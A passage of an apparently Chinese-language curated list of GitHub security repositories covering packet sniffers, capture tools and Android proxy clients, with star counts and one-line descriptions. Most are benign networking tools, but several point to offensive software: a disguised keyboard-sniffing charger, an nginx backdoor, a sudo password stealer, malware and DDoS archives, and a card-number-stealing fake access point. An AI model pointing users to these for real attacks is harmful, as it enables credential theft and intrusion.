- [**994**星][1y] [Py] [tylous/sniffair](https://github.com/tylous/sniffair) 无线渗透框架. 解析被动收集的无线数据, 执行复杂的无线攻击
- [**928**星][3y] [Eagle] [samyk/keysweeper](https://github.com/samyk/keysweeper) KeySweeper is a stealthy Arduino-based device, camouflaged as a functioning USB wall charger, that wirelessly and passively sniffs, decrypts, logs and reports back (over GSM) all keystrokes from any Microsoft wireless keyboard in the vicinity.
- [**922**星][2y] [JS] [diracdeltas/sniffly](https://github.com/diracdeltas/sniffly) Sniffing browser history using HSTS
- [**884**星][7m] [Go] [40t/go-sniffer](https://github.com/40t/go-sniffer)
- [**796**星][8m] [Py] [phaethon/kamene](https://github.com/phaethon/kamene) Network packet and pcap file crafting/sniffing/manipulation/visualization security tool. Originally forked from scapy in 2015 and providing python3 compatibility since then.
- 重复区段: [工具->Scapy](#01f99d208e245eb44f15f720043b50d4) |
- [**788**星][3m] [C] [netsniff-ng/netsniff-ng](https://github.com/netsniff-ng/netsniff-ng) A Swiss army knife for your daily Linux network plumbing.
- [**716**星][2y] [Py] [madeye/sssniff](https://github.com/madeye/sssniff) sssniff：ShadowSocks流量嗅探
- [**642**星][1y] [Go] [ga0/netgraph](https://github.com/ga0/netgraph) A cross platform http sniffer with a web UI
- [**639**星][2y] [C] [qihoo360/mysql-sniffer](https://github.com/qihoo360/mysql-sniffer) mysql-sniffer is a network traffic analyzer tool for mysql, it is developed by Qihoo DBA and infrastructure team
- [**635**星][2y] [Py] [mschwager/dhcpwn](https://github.com/mschwager/dhcpwn) testing DHCP IP exhaustion attacks， sniff local DHCP traffic
- [**626**星][3m] [Go] [eldadru/ksniff](https://github.com/eldadru/ksniff) Kubectl plugin to ease sniffing on kubernetes pods using tcpdump and wireshark
- [**565**星][11d] [PHP] [object-calisthenics/phpcs-calisthenics-rules](https://github.com/object-calisthenics/phpcs-calisthenics-rules) Object Calisthenics rules for PHP_CodeSniffer
- [**478**星][7d] [pixelcyber/thor](https://github.com/pixelcyber/thor) HTTP Sniffer/Capture on iOS for Network Debug & Inspect.
- [**459**星][5m] [C] [jarun/keysniffer](https://github.com/jarun/keysniffer)
- [**432**星][3m] [Ruby] [aderyabin/sniffer](https://github.com/aderyabin/sniffer) Log and Analyze Outgoing HTTP Requests
- [**427**星][6d] [Rust] [kpcyrd/sniffglue](https://github.com/kpcyrd/sniffglue) Secure multithreaded packet sniffer
- [**401**星][5m] [PHP] [floedesigntechnologies/phpcs-security-audit](https://github.com/floedesigntechnologies/phpcs-security-audit) phpcs-security-audit is a set of PHP_CodeSniffer rules that finds vulnerabilities and weaknesses related to security in PHP code
- [**316**星][5y] [C] [seastorm/puttyrider](https://github.com/seastorm/puttyrider) Hijack Putty sessions in order to sniff conversation and inject Linux commands.
- [**293**星][5m] [C] [pulkin/esp8266-injection-example](https://github.com/pulkin/esp8266-injection-example) Example project to demonstrate packet injection / sniffer capabilities of ESP8266 IC.
- [**291**星][10m] [C] [jiaoxianjun/btle](https://github.com/jiaoxianjun/btle) Bluetooth Low Energy (BLE) packet sniffer and generator for both standard and non standard (raw bit).
- [**264**星][2m] [Py] [xdavidhu/probesniffer](https://github.com/xdavidhu/probesniffer)
- [**260**星][8m] [Py] [needmorecowbell/sniff-paste](https://github.com/needmorecowbell/sniff-paste) Pastebin OSINT Harvester
- [**250**星][1m] [C] [nccgroup/sniffle](https://github.com/nccgroup/sniffle) A sniffer for Bluetooth 5 and 4.x LE
- [**236**星][2y] [C++] [pellegre/libcrafter](https://github.com/pellegre/libcrafter) C++ 编写的网络数据包嗅探和解码库
- [**229**星][3y] [C] [omriiluz/nrf24-btle-decoder](https://github.com/omriiluz/nrf24-btle-decoder) Sniff and decode NRF24L01+ and Bluetooth Low Energy using RTL-SDR
- [**198**星][3y] [Py] [isofew/sssniff](https://github.com/isofew/sssniff) ShadowSocks(SS) traffic sniffer
- [**191**星][3m] [Py] [alainiamburg/sniffrom](https://github.com/alainiamburg/sniffrom) A tool for passive data capture and reconnaissance of serial flash chips. It is used in conjunction with a Saleae logic analyzer to reconstruct flash memory contents and extract contextual information about device operations.
- [**179**星][1y] [Shell] [brannondorsey/sniff-probes](https://github.com/brannondorsey/sniff-probes) Plug-and-play bash script for sniffing 802.11 probes requests
- [**179**星][6y] [Py] [syworks/wireless-ids](https://github.com/syworks/wireless-ids) Ability to detect suspicious activity such as (WEP/WPA/WPS) attack by sniffing the air for wireless packets.
- [**174**星][17d] [HTML] [openvizsla/ov_ftdi](https://github.com/openvizsla/ov_ftdi) FT2232H-based USB sniffer
- [**165**星][5y] [Perl] [xme/hoover](https://github.com/xme/hoover) Wireless Probe Requests Sniffer
- [**152**星][18d] [Py] [shirosaidev/sharesniffer](https://github.com/shirosaidev/sharesniffer) 远程文件系统自动嗅探、挂载和爬取
- [**151**星][1y] [C] [caesar0301/http-sniffer](https://github.com/caesar0301/http-sniffer) A multi-threading tool to sniff TCP flow statistics and embedded HTTP headers from PCAP file. Each TCP flow carrying HTTP is exported to text file in json format.
- [**150**星][2y] [Py] [vduddu/malware](https://github.com/vduddu/malware) Rootkits | Backdoors | Sniffers | Virus | Ransomware | Steganography | Cryptography | Shellcodes | Webshells | Keylogger | Botnets | Worms | Other Network Tools
- [**137**星][7y] [C] [t57root/pwnginx](https://github.com/t57root/pwnginx) Pwn nginx - a nginx backdoor provides shell access, socks5 tunneling, http password sniffing.
- [**135**星][2y] [ObjC] [objective-see/sniffmk](https://github.com/objective-see/sniffmk) sniff mouse and keyboard events
- [**120**星][6m] [Rust] [kanishkarj/snoopy](https://github.com/kanishkarj/snoopy) A highly configurable multi-threaded packet sniffer and parser build in rust-lang.
- [**116**星][1y] [C] [nospaceships/raw-socket-sniffer](https://github.com/nospaceships/raw-socket-sniffer) Packet capture on Windows without a kernel driver
- [**104**星][1m] [JS] [wilddeer/sniffer](https://github.com/wilddeer/sniffer) browser/engine/os/device detection tool
- [**101**星][1y] [Py] [macr0phag3/sniffer](https://github.com/macr0phag3/sniffer) A Sniffer for Open-WLAN
- [**101**星][2m] [C] [onotelli/justniffer](https://github.com/onotelli/justniffer) Justniffer Just A Network TCP Packet Sniffer .Justniffer is a network protocol analyzer that captures network traffic and produces logs in a customized way, can emulate Apache web server log files, track response times and extract all "intercepted" files from the HTTP traffic
- [**99**星][8y] [Java] [gadgetfactory/openbench-logic-sniffer](https://github.com/gadgetfactory/openbench-logic-sniffer) OLS is a $50 32 channel Logic Analyzer
- [**99**星][9y] [C] [tecknicaltom/dsniff](https://github.com/tecknicaltom/dsniff) dsniff is a collection of tools for network auditing and penetration testing.
- [**98**星][8m] [Swift] [kofktu/sniffer](https://github.com/kofktu/sniffer) Networking activity logger for Swift
- [**95**星][2y] [HTML] [frizb/sourcecodesniffer](https://github.com/frizb/sourcecodesniffer) The Source Code Sniffer is a poor man’s static code analysis tool (SCA) that leverages regular expressions. Designed to highlight high risk functions (Injection, LFI/RFI, file uploads etc) across multiple languages (ASP, Java, CSharp, PHP, Perl, Python, JavaScript, HTML etc) in a highly configurable manner.
- [**90**星][26d] [Ruby] [shopify/browser_sniffer](https://github.com/shopify/browser_sniffer) Properly detect what browser you are dealing with
- [**87**星][t] [Py] [r00ts3c/ddos-rootsec](https://github.com/r00ts3c/ddos-rootsec) DDOS Archive by RootSec (Scanners, BotNets (Mirai and QBot Premium & Normal and more), Exploits, Methods, Sniffers)
- [**80**星][13d] [PHP] [automattic/vip-coding-standards](https://github.com/automattic/vip-coding-standards) PHP_CodeSniffer ruleset to enforce WordPress.com VIP and VIP Go coding standards
- [**79**星][1y] [C] [adafruit/adafruit_blesniffer_python](https://github.com/adafruit/adafruit_blesniffer_python) Python API for Adafruit's Bluefruit LE Sniffer
- [**79**星][3y] [bastilleresearch/keysniffer](https://github.com/bastilleresearch/keysniffer) KeySniffer device discovery tools and public advisories
- [**78**星][4y] [C] [kala13x/scap](https://github.com/kala13x/scap) Network Sniffer (Scan and Capture Incoming Packets)
- [**76**星][5y] [C++] [yveaux/nrf24_sniffer](https://github.com/yveaux/nrf24_sniffer) Sniffer for Nordic NRF24L01+ modules with MySensors support
- [**74**星][10m] [Verilog] [denandz/lpc_sniffer_tpm](https://github.com/denandz/lpc_sniffer_tpm) A low pin count sniffer for ICEStick - targeting TPM chips
- [**72**星][2y] [C++] [vecna/sniffjoke](https://github.com/vecna/sniffjoke) a client-only layer of protection from the wiretap/sniff/IDS analysis
- [**66**星][5y] [Py] [adamlaurie/hdmi-sniff](https://github.com/AdamLaurie/hdmi-sniff) sniff HDMI DDC (I2C) traffic
- [**66**星][8m] [Py] [nordicsemiconductor/nrf-sniffer-for-802.15.4](https://github.com/NordicSemiconductor/nRF-Sniffer-for-802.15.4) nRF-based 802.15.4 sniffer (firmware and software)
- [**64**星][4y] [Py] [halit/isip](https://github.com/halit/isip) Interactive sip toolkit for packet manipulations, sniffing, man in the middle attacks, fuzzing, simulating of dos attacks.
- [**64**星][7y] [C++] [hurley25/sniffer](https://github.com/hurley25/sniffer) 一个跨平台的网络数据嗅探&抓包程序，基于Qt 4.x 以及 libpcap 库（Linux下）和 Winpcap库（Windows 下）。
- [**64**星][3y] [Py] [scipag/btle-sniffer](https://github.com/scipag/btle-sniffer) Passively scan for Bluetooth Low Energy devices and attempt to fingerprint them
- [**60**星][6y] [Py] [offensivepython/sniffy](https://github.com/offensivepython/sniffy) A Simple network sniffer implemented on Python 3
- [**59**星][2m] [PHP] [sirbrillig/phpcs-variable-analysis](https://github.com/sirbrillig/phpcs-variable-analysis) Find undefined and unused variables with the PHP Codesniffer static analysis tool.
- [**57**星][4y] [Go] [zond/qisniff](https://github.com/zond/qisniff)
- [**56**星][4y] [Py] [geovation/wifispy](https://github.com/geovation/wifispy) Sniff Wifi traffic, log device addresses.
- [**52**星][10m] [Java] [ruedigergad/clj-net-pcap](https://github.com/ruedigergad/clj-net-pcap) A wrapper/facade/whatever to enable/ease the use of jNetPcap (a libpcap based packet sniffing lib) in Clojure
- [**51**星][14d] [Java] [p1sec/sigfw](https://github.com/p1sec/sigfw) Open Source Signaling Firewall for SS7, Diameter filtering, antispoof and antisniff
- [**51**星][5m] [HTML] [whatwg/mimesniff](https://github.com/whatwg/mimesniff) MIME Sniffing Standard
- [**51**星][1y] [Py] [zhovner/airport-sniffer](https://github.com/zhovner/airport-sniffer) Very simple Wi-Fi sniffer and dumps parser for built-in macbook AirPort Extreme card. Only native MacOS tools used.
- [**50**星][1y] [Go] [zredshift/mimemagic](https://github.com/zredshift/mimemagic) Powerful and versatile MIME sniffing package using pre-compiled glob patterns, magic number signatures, XML document namespaces, and tree magic for mounted volumes, generated from the XDG shared-mime-info database.
- [**49**星][7y] [C++] [1184893257/simplesniffer](https://github.com/1184893257/simplesniffer) 基于 WinPcap 的网络抓包软件，使用 MFC 做界面
- [**49**星][22d] [JS] [whichbrowser/parser-javascript](https://github.com/whichbrowser/parser-javascript) Browser sniffing gone too far — A useragent parser library for JavaScript
- [**48**星][2y] [C++] [anubisss/szimatszatyor](https://github.com/anubisss/szimatszatyor) World of Warcraft (WoW): SzimatSzatyor is an injector sniffer written in C++
- [**48**星][5m] [C] [chentingz/snifferui](https://github.com/chentingz/snifferui) 基于MFC和WinPcap库开发的网络抓包和协议分析软件
- [**48**星][3y] [C] [rodrigoalvesvieira/soundkeylogger](https://github.com/rodrigoalvesvieira/soundkeylogger) An experimental project to demonstrate how a user keyboard input may be sniffed through the pattern analysis of the sounds emitted by the keystrokes.
- [**47**星][2y] [Shell] [nyxgeek/dumpsniffer](https://github.com/nyxgeek/dumpsniffer) tools for analyzing strings from password lists
- [**45**星][9m] [C++] [ncatlin/exilesniffer](https://github.com/ncatlin/exilesniffer) A protocol decryption and dissection tool for the game 'Path of Exile'
- [**44**星][1y] [C] [petabi/sniffles](https://github.com/petabi/sniffles) Packet Capture Generator for IDS and Regular Expression Evaluation
- [**44**星][6y] [IDL] [riverloopsec/apimote](https://github.com/riverloopsec/apimote) ApiMote IEEE 802.15.4/ZigBee Sniffing Hardware
- [**42**星][4y] [Py] [xme/tweetsniff](https://github.com/xme/tweetsniff) Grab a Twitter user timeline for further processing (storing to Elasticsearch, highligthing, etc)
- [**41**星][3y] [Py] [tengzhangchao/websniff](https://github.com/tengzhangchao/websniff) 局域网http流量嗅探，并获取登陆的账号密码
- [**41**星][25d] [PHP] [xchwarze/cain](https://github.com/xchwarze/cain) Password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncover…
- [**40**星][1y] [Shell] [adityashrm21/raspberrypi-packet-sniffer](https://github.com/adityashrm21/raspberrypi-packet-sniffer) An HTTP and HTTPS sniffing tool created using a Raspberry Pi
- [**40**星][5y] [Py] [flankerhqd/wifimonster](https://github.com/flankerhqd/wifimonster) Wifi sniffing and hijacking tool
- [**38**星][1y] [Py] [activecm/passer](https://github.com/activecm/passer) Passive service locator, a python sniffer that identifies servers, clients, names and much more
- [**38**星][7y] [Py] [mainframed/mfsniffer](https://github.com/mainframed/mfsniffer) Mainframe TN3270 unencrypted TSO session user ID and password sniffer
- [**34**星][2y] [C++] [chiehmin/sheepwall](https://github.com/chiehmin/sheepwall) Sniff plaintext account/password/cookie on router
- [**34**星][7y] [JS] [nv/setinterval-sniffer](https://github.com/nv/setinterval-sniffer) Keep tabs on your uncleared intervals. Hunt down lags and memory leaks.
- [**34**星][1y] [Py] [oros42/dns_sniffer](https://github.com/oros42/dns_sniffer) A python DNS sniffer
- [**31**星][2y] [PHP] [bmitch/codor](https://github.com/bmitch/codor) Custom PHPCS sniffs to find Code Smells
- [**31**星][2y] [Go] [paultag/sniff](https://github.com/paultag/sniff) Dispatch TLS Connections based on SNI
- [**31**星][2y] [Go] [pyinx/zk-sniffer](https://github.com/pyinx/zk-sniffer) sniffer and parse zookeeper packet
- [**30**星][24d] [PHP] [php-fig-rectified/psr2r-sniffer](https://github.com/php-fig-rectified/psr2r-sniffer) A PSR-2-R code sniffer and code-style auto-correction-tool - including many useful additions
- [**29**星][6y] [Py] [catalyst256/sniffmypackets](https://github.com/catalyst256/sniffmypackets) Canari local transforms pcap file analysis
- [**25**星][6y] [cbrunsch/wmbus-sniffer-muc](https://github.com/cbrunsch/wmbus-sniffer-muc) Source code of the demonstration programs showed in the Black Hat '13 presentation "Energy fraud and orchestrated blackouts: Issues with wireless metering protocols (WM-BUS)" by Cyrill Brunschwiler
- [**24**星][3m] [Py] [jplesperance/redis-sniffer](https://github.com/jplesperance/redis-sniffer) A Redis event sniffer and logging utility.
- [**23**星][7m] [Py] [antisomnus/sniffer](https://github.com/antisomnus/sniffer) Simple sniffer using scapy and PyQt5 on Windows 10
- 重复区段: [工具->Scapy](#01f99d208e245eb44f15f720043b50d4) |
- [**22**星][2y] [C] [jerome-ps/jn516xsniffer](https://github.com/jerome-ps/jn516xsniffer) Transform a Xiaomi Zigbee gadget into a Zigbee sniffer.
- [**22**星][9y] [C] [zapotek/cdpsnarf](https://github.com/zapotek/cdpsnarf) CDPSnarf is a network sniffer exclusively written to extract information from CDP (Cisco Discovery Protocol) packets.
- [**21**星][1y] [PHP] [codeclimate/codeclimate-phpcodesniffer](https://github.com/codeclimate/codeclimate-phpcodesniffer) Code Climate Engine for PHP Code Sniffer
- [**20**星][3y] [C] [a232319779/phantom-3-standard](https://github.com/a232319779/phantom-3-standard) Used hackrf one to sniffer nrf24l0 and so on wireless packet.Application in PHANTOM 3 STANDARD RC signal sniffer.
- [**19**星][2y] [Verilog] [lynxis/lpc_sniffer](https://github.com/lynxis/lpc_sniffer) a low pin count sniffer for icestick
- [**19**星][2y] [C++] [namreeb/hacksniff](https://github.com/namreeb/hacksniff) A tool to monitor how a target process modifies other processes
- [**19**星][3y] [ObjC] [ura14h/blesniffer](https://github.com/ura14h/blesniffer) A Bluetooth LE sniffer for CC2540 USB dongle and Mac.
- [**19**星][7y] [C++] [6e726d/native-wifi-api-beacon-sniffer](https://github.com/6e726d/native-wifi-api-beacon-sniffer) Tool that dumps beacon frames to a pcap file. Works on Windows Vista or Later with any Wireless Card.
- [**18**星][6y] [Java] [taufderl/whatsapp-sniffer-android-poc](https://github.com/taufderl/whatsapp-sniffer-android-poc) proof of concept app to show how to upload and decrypt WhatsApp backup database
- [**18**星][7y] [Py] [eldraco/darm](https://github.com/eldraco/darm) darm - intelligent network sniffer for the masses darm is an attempt to create a very easy to use app that will sniff and report information about the activities happening on a live network. The main goal is to educate the public so that it becomes aware of the security of their communications. darm is being developed by leandrinux as a project …
- [**18**星][5y] [C++] [halfdanj/ofxsniffer](https://github.com/halfdanj/ofxsniffer) Network packet sniffing and crafting wrapper based on the libtins library.
- [**17**星][3y] [JS] [bugscanteam/bugrequest](https://github.com/bugscanteam/bugrequest) Sniffer vulnerabilities in http request (chrome extension)
- [**15**星][6y] [Py] [mbains/linux-802.15.4-sniffer](https://github.com/mbains/linux-802.15.4-sniffer) Linux Based 802.15.4/Zigbee Sniffer
- [**15**星][2y] [C] [ps2/rtlmm](https://github.com/ps2/rtlmm) Software to sniff minimed RF packets using a RTLSDR dongle
- [**14**星][2y] [C] [julioreynaga/sniffer](https://github.com/julioreynaga/sniffer) Packet Trace Parser for TCP, SMTP Emails, and HTTP Cookies
- [**13**星][2y] [Py] [lyyyuna/dht_sniffer](https://github.com/lyyyuna/dht_sniffer) DHT 公网嗅探器
- [**13**星][3y] [Py] [vshymanskyy/blesniffer_python](https://github.com/vshymanskyy/blesniffer_python) Software for nRF BLE Sniffer
- [**12**星][4y] [PS] [harmj0y/netripper](https://github.com/harmj0y/netripper) NetRipper - Smart traffic sniffing for penetration testers
- [**12**星][2y] [C] [majbthrd/cansniffer](https://github.com/majbthrd/cansniffer) CANbus sniffer using STM32F042 microcontroller
- [**12**星][5y] [Py] [sneakersinc/sniffmypacketsv2](https://github.com/sneakersinc/sniffmypacketsv2) Next major release of sniffMyPackets - Now with added packet loving
- [**12**星][3y] [C++] [coac/foybot](https://github.com/coac/foybot) MMO Packet sniffer experiment
- [**11**星][3y] [C] [mjdubell/sudo_sniff](https://github.com/mjdubell/sudo_sniff) Steal user's password when running sudo for post-exploitation purposes
- [**10**星][2m] [Py] [gisdev01/security-ssid-abi](https://github.com/gisdev01/security-ssid-abi) Sniff wifi probes from nearby devices (passive monitoring only) and logs to an InfluxDB time-series database
- [**10**星][1m] [PHP] [hostnet/css-sniffer](https://github.com/hostnet/css-sniffer) Static code analyses for CSS and LESS.
- [**10**星][4y] [C] [wifimon/wifimon](https://github.com/wifimon/wifimon) Wi-fi 802.11 Beacon Frame sniffer
- [**9**星][1y] [Py] [haopeiwen/sniffer](https://github.com/haopeiwen/sniffer) IS301 Computer Communication and Network Project
- [**8**星][1y] [Perl] [0xcesium/hackrf-gnu-radio](https://github.com/0xcesium/hackrf-gnu-radio) HackRF modules to sniff GSM 900MHz bands.
- [**8**星][6m] [Py] [amlight/ofp_sniffer](https://github.com/amlight/ofp_sniffer) An OpenFlow sniffer to help network troubleshooting in production networks.
- [**8**星][2y] [C++] [mgostih/snifferih](https://github.com/mgostih/snifferih) DLL Hooking Packet Sniffer
- [**8**星][7m] [JS] [piecioshka/xhr-sniffer](https://github.com/piecioshka/xhr-sniffer)
- [**8**星][9m] [Py] [ajackal/cherrywasp](https://github.com/ajackal/cherrywasp) An 802.11 probe request and beacon sniffer.
- [**7**星][8m] [C#] [artman41/fenderstratocastorsniffer](https://github.com/artman41/fenderstratocastorsniffer)
- [**7**星][2m] [Py] [programmingathlete/brutesniffing_fisher](https://github.com/programmingathlete/brutesniffing_fisher) hacking tool
- [**6**星][2y] [Go] [amyangxyz/dnssniffer](https://github.com/amyangxyz/dnssniffer) DNSQuery Sniffer in Golang
- [**6**星][2y] [Py] [crcarlo/arp-spoofing-python](https://github.com/crcarlo/arp-spoofing-python) A script for sniffing internet traffic between a machine and the gateway in your local network.
- [**6**星][3y] [Go] [jheise/dns-probe](https://github.com/jheise/dns-probe) Sniff for dns traffic and create a zero mq stream for it
- [**5**星][2y] [Py] [daymorelah/packetanalyzerandsniffer](https://github.com/daymorelah/packetanalyzerandsniffer) A simple python module that implements a packet sniffer and analyser. It sniffs and analyses TCP, UDP, IPV4 and IPV6 traffic.
- [**5**星][5y] [Ruby] [dotboris/hidden-hippo](https://github.com/dotboris/hidden-hippo) A tool that identifies the people around you by sniffing network traffic and mining social networks.
- [**5**星][3y] [roboremo/nrf24-demodulator](https://github.com/roboremo/nrf24-demodulator) Sniff NRF24L01 (and clones) packets and veiw bit-level structure using GNU Radio
- [**5**星][2y] [Lua] [spacewander/lua-resty-mime-sniff](https://github.com/spacewander/lua-resty-mime-sniff) Sniff the real MIME type of given data in your OpenResty app
- [**5**星][3y] [C++] [andreabont/project-riddle](https://github.com/andreabont/project-riddle) Modular Network Packet Sniffer
- [**4**星][7y] [Shell] [dc414/fakeap_pwnage](https://github.com/dc414/fakeap_pwnage) A fakeAP to sniff traffic or get CC numbers.
- [**4**星][6y] [Shell] [logic-gate/penbang](https://github.com/logic-gate/penbang) Penbang is a collection of tools aimed at the openbox environment. It includes Network Exploits, Vulnerability Assessment/Exploits, Network Analysis, Social Engineering tools, I.G.C, dsniff suite, and irpas. As well as a simple way of launching them.
- [**4**星][3y] [Py] [mellow-hype/keysniffer-poc](https://github.com/mellow-hype/keysniffer-poc) Simple PoC Linux keysniffer showing impact of a lack of GUI-isolation in X display server.
- [**4**星][4y] [Visual Basic .NET] [pyblendnet-js/realtermbuspiratesniff](https://github.com/pyblendnet-js/realtermbuspiratesniff) Bus Pirate SPI sniffer using RealTerm for highspeed transfer
- [**4**星][5y] [Ruby] [sneakersinc/sniffmypacketsv2-web](https://github.com/sneakersinc/sniffmypacketsv2-web) Web framework for sniffmypackets v2
- [**4**星][2y] [Py] [wangjksjtu/jksniffer](https://github.com/wangjksjtu/jksniffer) An implementation of Sniffer Tool using Python
- [**4**星][29d] [JS] [sipcapture/hepjack.js](https://github.com/sipcapture/hepjack.js) Elegantly Sniff Forward-Secrecy TLS/SIP to HEP at the source using Frida
- [**4**星][2m] [Py] [tastypeanut/carmela](https://github.com/tastypeanut/carmela) Makes network sniffing easy for everyone. Still a work in progress.
- [**3**星][4y] [C++] [aschen/cameleon-sniffer](https://github.com/aschen/cameleon-sniffer) A modular network sniffer daemon written in C++
- [**3**星][2y] [Py] [orf53975/malware](https://github.com/orf53975/malware) Rootkits | Backdoors | Sniffers | Virus | Ransomware | Steganography | Cryptography | Shellcodes | Webshells | Keylogger | Botnets | Worms | Other Network Tools
- [**3**星][5y] [C++] [simonberson/chromeurlsniffer](https://github.com/simonberson/chromeurlsniffer) Hook to Chrome Browser URL and show the current URL on simple textbox
- [**3**星][4y] [Py] [wirelesshack/desniffer](https://github.com/wirelesshack/desniffer) 802.11 wireless sniffer
- [**3**星][4y] [C] [bwoolf1122/tcp-seqnum](https://github.com/bwoolf1122/tcp-seqnum) Means to sniff 802.11 traffic and obtain TCP session info using netfiter_queue. Use that data to construct a packet in scappy.
- [**3**星][7y] [Py] [0x0d/wallofshame](https://github.com/0x0d/wallofshame) Multi protocol sniffer, created for ChaosConstruction conference HackSpace
- [**2**星][10m] [Shell] [b3n-j4m1n/flood-kick-sniff](https://github.com/b3n-j4m1n/flood-kick-sniff) Known Beacons attack tool
- [**2**星][1y] [Go] [progtramder/webproxy](https://github.com/progtramder/webproxy) A fiddler-like webproxy, support sniffing http/https content by implementing 'Sniffer' interface
- 重复区段: [工具->fiddler](#31d28e8b2cf6c06411cd5d178dbd3e77) |
- [**2**星][5y] [Py] [depthdeluxe/dot11sniffer](https://github.com/depthdeluxe/dot11sniffer) Sniffs 802.11 traffic and counts the number of active wireless devices in an area
- [**2**星][2y] [C] [samclarke2012/ssidentity](https://github.com/samclarke2012/ssidentity) Passive sniffing of 802.11 probe requests, stored in a central database.
- [**2**星][9y] [de-ibh/mupe](https://github.com/de-ibh/mupe) MUltiPath Estimator - Create statistical analysis of 802.11 Radiotap sniffs
- [**1**星][3y] [Py] [wouterbudding/scapygelftograylog2](https://github.com/wouterbudding/scapygelftograylog2) sniff some 802.11 packages and send the date and MAC with GELF UDP to Graylog2
- [**1**星][4m] [Perl] [briandfoy/httpsniffer](https://github.com/briandfoy/httpsniffer)
- [**1**星][4y] [Py] [dcrisan/wifi-802.11-demo-sniffer](https://github.com/dcrisan/wifi-802.11-demo-sniffer) This 802.11 sniffer written in Python provides a useful tool to raise awareness at the amount of data phones release for anyone to read.
- [**1**星][5y] [C] [gauravpatwardhan/wireless-sniffer](https://github.com/gauravpatwardhan/wireless-sniffer) A 802.11 wireless sniffer tool
- [**1**星][6y] [C] [saintkepha/airtraf](https://github.com/saintkepha/airtraf) wireless 802.11 network sniffer and analyzer
- [**0**星][11y] [C] [jackiexie168/como](https://github.com/jackiexie168/como) CoMo is a passive monitoring system that supports arbitrary real time traffic queries. Data streams may have different formats (e.g., packet/flow sequences, etc.) and originate from different platforms (e.g, packet sniffers, routers, wireless APs, ...).
- [**0**星][7y] [Py] [dappiu/rifsniff](https://github.com/dappiu/rifsniff) RIfSniff is a Remote Interface Sniffer
### <a id="d7485f829bd85cd784ff582cbddc8624"></a>捕获&&Capture
- [**1429**星][3m] [Go] [google/stenographer](https://github.com/google/stenographer) 数据包捕获解决方案，将所有数据包快速后台处理到磁盘，然后提供对这些数据包子集的简单、快速访问
- [**909**星][4d] [C++] [seladb/pcapplusplus](https://github.com/seladb/pcapplusplus) 多平台C ++库，用于捕获、解析和处理网络数据包。为最受欢迎的数据包处理引擎（例如libpcap，WinPcap，DPDK和PF_RING）提供了C ++包装器。高效、强大且易于使用。
- [**883**星][1m] [C] [cisco/joy](https://github.com/cisco/joy) 捕获和分析网络流数据和intraflow数据，用于网络研究、取证和安全监视
- [**854**星][t] [C] [zerbea/hcxtools](https://github.com/zerbea/hcxtools) 捕获无线局域网流量，并将其转换为hashcat格式和John Ripper格式
- [**680**星][t] [C] [zerbea/hcxdumptool](https://github.com/zerbea/hcxdumptool) 捕获来自无线设备的数据包
- [**456**星][3y] [C] [haka-security/haka](https://github.com/haka-security/haka) 捕获TCP / IP数据包，并根据Lua策略文件对其进行过滤
- [**423**星][3m] [C] [desowin/usbpcap](https://github.com/desowin/usbpcap) USB数据包捕获，用于Windows
- [**214**星][3m] [C] [dns-oarc/dnscap](https://github.com/dns-oarc/dnscap) 专为DNS流量设计的网络捕获工具
- [**141**星][2y] [Py] [secureworks/flowsynth](https://github.com/secureworks/flowsynth) 快速对网络流量进行建模，可用于生成基于文本的数据包的十六进制转储，和libpcap格式的数据包捕获
- [**110**星][3m] [C] [sipcapture/captagent](https://github.com/sipcapture/captagent) 用于RTC的HEP数据包捕获和镜像框架，功能强大、灵活、完全模块化。可用于任何类型的IP协议和封装方法
- [**46**星][3y] [C] [rpcapd-linux/rpcapd-linux](https://github.com/rpcapd-linux/rpcapd-linux) 为Windows版本的Wireshark提供远程流量捕获的守护程序
- 重复区段: [工具->Wireshark](#6fa0e0d1f898fba299b2566a33602841) |
- [**32**星][6y] [C] [nbareil/net2pcap](https://github.com/nbareil/net2pcap) 类似于tcpdump的数据包捕获工具，只依赖libc
- [**29**星][2y] [Py] [nsacyber/serial2pcap](https://github.com/nsacyber/serial2pcap) 将通常从工业控制系统设备收集的串行IP数据转换为更常用的数据包捕获（PCAP）格式
- [**13**星][6m] [Java] [jxnet/jxnet](https://github.com/jxnet/jxnet) Jxnet is a Java library for capturing and sending custom network packet buffers with no copies. Jxnet wraps a native packet capture library (libpcap/winpcap/npcap) via JNI (Java Native Interface).
### <a id="471c124b012dbde8ea3288f35667efc8"></a>流量检测
- [**3341**星][4d] [Py] [stamparm/maltrail](https://github.com/stamparm/maltrail) 恶意网络流量检测系统
***
## <a id="384f5e1bef62f815c6745062f2975ba7"></a>文章
# <a id="c63cbfa77e689e485fc2d8bc5051f229"></a>Android
***
## <a id="863839860fab4b8601905205cac9b54f"></a>工具
- [**27960**星][9d] [Kotlin] [shadowsocks/shadowsocks-android](https://github.com/shadowsocks/shadowsocks-android) A shadowsocks client for Android
- [**4966**星][12d] [TS] [jigsaw-code/outline-client](https://github.com/jigsaw-code/outline-client) Outline clients, developed by Jigsaw. The Outline clients use the popular Shadowsocks protocol, and lean on the Cordova and Electron frameworks to support Windows, Android / ChromeOS, Linux, iOS and macOS.
- 重复区段: [iOS->工具](#692d86299dedab073fbb6144a5b2bd64) |
- [**3145**星][2y] [shadowsocksr-backup/shadowsocksr-android](https://github.com/shadowsocksr-backup/shadowsocksr-android) A ShadowsocksR client for Android
- [**1338**星][1y] [C] [madeye/proxydroid](https://github.com/madeye/proxydroid) Global Proxy for Android
- [**997**星][12m] [Java] [huolizhuminh/networkpacketcapture](https://github.com/huolizhuminh/networkpacketcapture) It is used to capture network packet via Android VPN.
- [**534**星][2y] [Java] [dawei101/shadowsocks-android-java](https://github.com/dawei101/shadowsocks-android-java) Shadowsocks android client, pure java version
- [**527**星][4y] [C] [neilalexander/sigmavpn](https://github.com/neilalexander/sigmavpn) Light-weight, secure and modular VPN solution which makes use of NaCl encryption (also available for Android using jnacl in "sigmavpn-android")
- [**450**星][2m] [Kotlin] [hmbsbige/shadowsocksr-android](https://github.com/hmbsbige/shadowsocksr-android) A ShadowsocksR client for Android, written in Kotlin.
- [**368**星][3y] [Java] [ssun125/lanmitm](https://github.com/ssun125/lanmitm) Android中间人攻击测试工具
- [**219**星][2y] [itrump/shadowsocksrss](https://github.com/itrump/shadowsocksrss) shadowsocksR backup, windows / android / mac downloads, source code backup
